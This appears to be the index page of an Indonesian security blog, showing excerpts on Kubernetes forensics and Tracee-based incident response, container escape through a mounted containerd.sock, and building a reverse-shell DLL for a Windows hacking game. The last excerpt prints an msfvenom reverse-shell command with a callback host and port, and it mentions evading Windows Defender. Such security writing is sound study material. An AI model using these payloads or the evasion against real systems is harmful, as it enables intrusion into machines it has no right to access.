Skip to content

Blog

Menggunakan Checkpoint Di Kubernetes Untuk Forensik

Pada tulisan Mematikan Pod Secara Otomatis Saat Tracee Mendeteksi Bahaya, saya menerapkan incident response (IR) dengan mematikan Pod secara otomatis. Pada tulisan ini, saya akan berfokus pada digital forensik (DF)-nya. Bila Pod telah dimatikan dan lenyap, bagaimana caranya melakukan forensik untuk memahami apa yang terjadi? Salah satu fitur Kubernetes yang bisa saya pakai untuk keperluan ini adalah Checkpoint API. Checkpoint dirancang khusus untuk bekerja pada container yang sedang berjalan tanpa mempengaruhi container tersebut. Oleh sebab itu, saya perlu membuat checkpoint sebelum mematikan Pod.

Mengatasi Container Enrichment Yang Tidak Bekerja Di Tracee

Container enrichment adalah fitur di Tracee yang menambahkan informasi container pada log deteksi yang dihasilkan. Tanpa container enrichment, nilai containerId, container dan kubernetes di log JSON akan kosong. Ini akan mempersulit melakukan respon karena mesin yang sama bisa menjalankan banyak container sekaligus. Salah satu permasalahan yang sering saya hadapi adalah container enrichment kadang tidak bekerja sebagaimana seharusnya. Apa yang bisa saya lakukan untuk melakukan troubleshooting permasalahan seperti ini?

Mematikan Pod Secara Otomatis Saat Tracee Mendeteksi Bahaya

Pada suatu hari, saya membaca tentang proyek falco-talon yang disebut sebagai Response Engine untuk threats di Kubernetes. Saya sudah pernah memakai falco untuk mendeteksi keanehan pada setiap Pod yang berjalan di Kubernetes. Dengan falco-talon, setiap alert dari falco dapat diubah menjadi respon otomatis seperti men-kill (mematikan) Pod bersangkutan, meng-isolasi cluster dengan fitur cordon dari Kubernetes, dan sebagainya. Lalu bagaimana bila saya menggunakan Tracee? Terinspirasi oleh falco-talon, saya akan mencoba menambahkan fasilitas respon otomatis yang akan men-kill Pod berdasarkan alert dari Tracee. Karena biasanya Pod dikelola oleh Deployment, Kubernetes akan membuat ulang Pod yang di-kill secara otomatis, sehingga operasi ini relatif aman….

Berinteraksi Dengan Socket containerd Dari Dalam Pod

Anggap saja saya berhasil mendapatkan shell di Pod yang men-mount containerd.sock dari host ke dalam Pod tersebut. File containerd.sock adalah Unix socket yang disediakan untuk berinteraksi dengan containerd (sama seperti file docker.sock yang dipakai oleh perintah docker). Apa yang bisa saya lakukan dengan socket tersebut?

Membuat Reverse Shell DLL Untuk Windows

Pada suatu hari, saat saya sedang mencoba permainan hacking untuk mesin Windows, saya berhasil menemukan exploit-nya. Langkah selanjutnya adalah mengirim payload untuk menciptakan reverse shell sehingga saya bisa menjalankan perintah command prompt pada mesin Windows tersebut. Bila mengikuti cheatsheet yang ada, saya bisa menggunakan Meterpreter dengan perintah seperti msfvenom -p windows/x64/shell/reverse_tcp LHOST=10.20.30.40 LPORT=1234 -f dll -o payload.dll. Namun, saat menggunakan file DLL yang dihasilkan, saya menemukan pesan kesalahan ERROR_VIRUS_INFECTED - Operation did not complete successfully because the file contains a virus or potentially unwanted software. Sepertinya DLL yang dihasilkan oleh msfvenom sudah diblokir oleh pertahanan bawaan Windows. Untuk mengatasinya, pada tulisan ini, saya akan membuat sebuah reverse shell sederhana dalam bentuk file DLL…